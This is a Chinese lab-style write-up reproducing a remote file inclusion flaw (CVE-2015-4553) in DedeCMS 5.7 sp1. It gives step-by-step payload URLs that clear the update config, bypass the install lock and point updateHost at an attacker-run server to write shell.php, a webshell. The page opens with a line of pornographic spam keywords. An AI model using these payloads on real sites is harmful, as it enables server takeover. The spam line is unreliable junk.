亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

DedeCMS 5.7 sp1遠程文件包含漏洞(CVE-2015-4553)

 更新時間:2019年08月14日 14:03:29   作者:雨中落葉  
這篇文章主要介紹了DedeCMS 5.7 sp1遠程文件包含漏洞(CVE-2015-4553)的相關(guān)知識,本文圖文并茂給大家介紹的非常詳細,具有一定的參考借鑒價值,需要的朋友可以參考下

一、漏洞描述

該漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符號使用不當,導(dǎo)致變量覆蓋,以至于最后引起遠程文件包含漏洞。

二、漏洞影響版本

DeDeCMS < 5.7-sp1,包括5.7 sp1版本

三、漏洞環(huán)境搭建

1、下載DeDeCMS V5.7 SP1,然后放到phpstudy環(huán)境下的www目錄下,然后瀏覽器訪http://192.168.10.171/dedecms/uploads/install/index.php

  

2、點擊我已閱讀并繼續(xù)。然后是環(huán)境檢測,保存默認即可

  

3、接下來是參數(shù)配置,需要設(shè)置的只有數(shù)據(jù)庫密碼,把自己的密碼填上去就行了

  

4、然后就把環(huán)境搭好了

  

四、漏洞復(fù)現(xiàn)

1、查看/install/index.php源碼,發(fā)現(xiàn)存在變量覆蓋漏洞,該代碼的意思是將get,post或者cookie方式傳入的值通過foreach以鍵值對的方式輸出,例如在url中輸入?str=hello,則$_k的值就是str,$_v的值就是hello,所以${$_k}就是$str, 后面的RunMagicQuotes函數(shù)在另一個文件中定義的,大致就是對參數(shù)進行過濾然后返回參數(shù)內(nèi)容。

  

  

2、嘗試通過變量覆蓋重裝網(wǎng)站,瀏覽器訪問

  

3、變量覆蓋后,直接進入安裝界面,但是由于安裝鎖的存在不能繼續(xù)重新安裝,除非刪除安裝鎖http://192.168.10.171/dedecms/uploads/install/index.php?insLockfile=1

  

4、只有變量覆蓋暫時還不夠,繼續(xù)瀏覽代碼,發(fā)現(xiàn)最后幾行代碼

  

4.1、這段代碼首先包含了/data/admin/config_update.php文件, 這里定義了變量updateHost

文件內(nèi)容如下:

  

4.2、繼續(xù)看373-387行代碼,$updateHost與dedecms/demodata.{$a_lang}.txt拼接為字符串,并利用files_get_contents函數(shù)讀取demodata.{$s_lang}.txt文件內(nèi)容,最后將該文件內(nèi)容寫入到$install_demo_name參數(shù)中。

4.3、因此我們可以結(jié)合上面的變量覆蓋漏洞來進行遠程文件包含,直接寫webshell。

5、由于$updateHost變量是引入進來的,所以不能直接進行覆蓋,需要先將config_update.php文件清空再包含。

5.1、這時候可以利用fopen函數(shù)來實現(xiàn),可以看到fopen中的參數(shù)是w,會直接重寫文件,而file_get_contents讀取文件失敗會返回NULL

  

5.2、然后利用fwrite函數(shù),這里可以利用變量覆蓋,將$s_lang隨意取名成不存在的文件名, $install_demo_name指向”../data/admin/config_update.php”,為了程序能夠執(zhí)行到這里,需要將$step設(shè)置為11,這樣就達到了清空config_update.php的目的。

構(gòu)造payload: http://192.168.10.171/dedecms/uploads/install/index.php?

step=11&s_lang=test&install_demo_name=…/data/admin/config_update.php

瀏覽器訪問,提示如下

  

5.3、查看代碼,發(fā)現(xiàn)這里有一個判斷文件是否存在(也就是判斷網(wǎng)站是否安裝)的條件,通過變量覆蓋漏洞將$insLockfile構(gòu)造成任意不存在的文件就可以繞過這個條件的限制

  

5.4、再次構(gòu)造payload:

http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php

  

5.5、此時可以看到config_update.php會發(fā)現(xiàn)已經(jīng)變?yōu)?kb,空文件

  

5.6、config_update.php文件內(nèi)容被清空之后,這時我們就可以控制updateHost參數(shù)了,這時我們就可以開始遠程文件包含上傳我們想要上傳的文件了

5.7、在kali上創(chuàng)建一個dedecms文件夾,然后創(chuàng)建一個demodata.gb2312.txt,寫入<?php phpinfo();?> ,然后開啟web服務(wù)

  

5.8、再次構(gòu)造payload, install_demo_name改為要上傳的路徑,updateHost改為遠程目標機的IP

Payload如下:

http://192.168.10.171/dedecms/uploads/install/index.php?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://192.168.10.140/

瀏覽器訪問,出現(xiàn)界面說明寫入成功

  

5.9、查看是否上傳成功,確定上傳成功

  

6、瀏覽器訪問上傳的shell.php

  

總結(jié)

以上所述是小編給大家介紹的DedeCMS 5.7 sp1遠程文件包含漏洞(CVE-2015-4553),希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復(fù)大家的。在此也非常感謝大家對腳本之家網(wǎng)站的支持!
如果你覺得本文對你有幫助,歡迎轉(zhuǎn)載,煩請注明出處,謝謝!

相關(guān)文章

  • 分享4個最受歡迎的大數(shù)據(jù)可視化工具

    分享4個最受歡迎的大數(shù)據(jù)可視化工具

    大數(shù)據(jù)可視化是進行各種大數(shù)據(jù)分析解決的最重要組成部分之一。這篇文章主要介紹了4個最受歡迎的大數(shù)據(jù)可視化工具,需要的朋友可以參考下
    2019-06-06
  • 高級消息隊列協(xié)議AMQP簡介

    高級消息隊列協(xié)議AMQP簡介

    這篇文章簡單介紹了高級消息隊列協(xié)議AMQP,對大家的學(xué)習或者工作具有一定的參考學(xué)習價值,需要的朋友們下面隨著小編來一起學(xué)習學(xué)習吧
    2022-07-07
  • VSCode各語言運行環(huán)境配置方法示例詳解

    VSCode各語言運行環(huán)境配置方法示例詳解

    這篇文章主要介紹了VSCode各語言運行環(huán)境配置方法,本文通過實例代碼給大家介紹的非常詳細,對大家介紹的學(xué)習或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-05-05
  • 分享18個最佳代碼編輯器/IDE開發(fā)工具

    分享18個最佳代碼編輯器/IDE開發(fā)工具

    這篇文章主要為開發(fā)人員收錄了18個最好的代碼編輯器/IDE工具,希望你會喜歡
    2014-05-05
  • Trie樹_字典樹(字符串排序)簡介及實現(xiàn)

    Trie樹_字典樹(字符串排序)簡介及實現(xiàn)

    有時,我們會碰到對字符串的排序,若采用一些經(jīng)典的排序算法,則時間復(fù)雜度一般為O(n*lgn),但若采用Trie樹,則時間復(fù)雜度僅為O(n)
    2014-03-03
  • JetBrains Fleet 初體驗

    JetBrains Fleet 初體驗

    本文主要介紹了JetBrains Fleet 初體驗,文中通過示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2021-12-12
  • 詳細介紹HTTP Cookie

    詳細介紹HTTP Cookie

    本篇文章主要介紹了詳細介紹HTTP Cookie,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2018-05-05
  • DSDS應(yīng)用場景(高通5G)

    DSDS應(yīng)用場景(高通5G)

    本文是對DSDS一個簡單的介紹,感興趣的小伙伴可以一起來做一個初步的了解
    2021-08-08
  • Caffe圖像數(shù)據(jù)轉(zhuǎn)換成可運行l(wèi)eveldb?lmdb文件

    Caffe圖像數(shù)據(jù)轉(zhuǎn)換成可運行l(wèi)eveldb?lmdb文件

    這篇文章主要為大家介紹了Caffe圖像數(shù)據(jù)轉(zhuǎn)換成可運行l(wèi)eveldb?lmdb文件教程,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2022-06-06
  • idea2023連接gitee遠程倉庫的實現(xiàn)方法

    idea2023連接gitee遠程倉庫的實現(xiàn)方法

    在我們平時做項目的過程中,經(jīng)常會遇到分工合作,一起完成一個項目,就會借助其它的一些項目管理工具,來幫助我們更方便的開發(fā),本文主要介紹了idea2023連接gitee遠程倉庫的實現(xiàn)方法,感興趣的可以了解一下
    2024-01-01

最新評論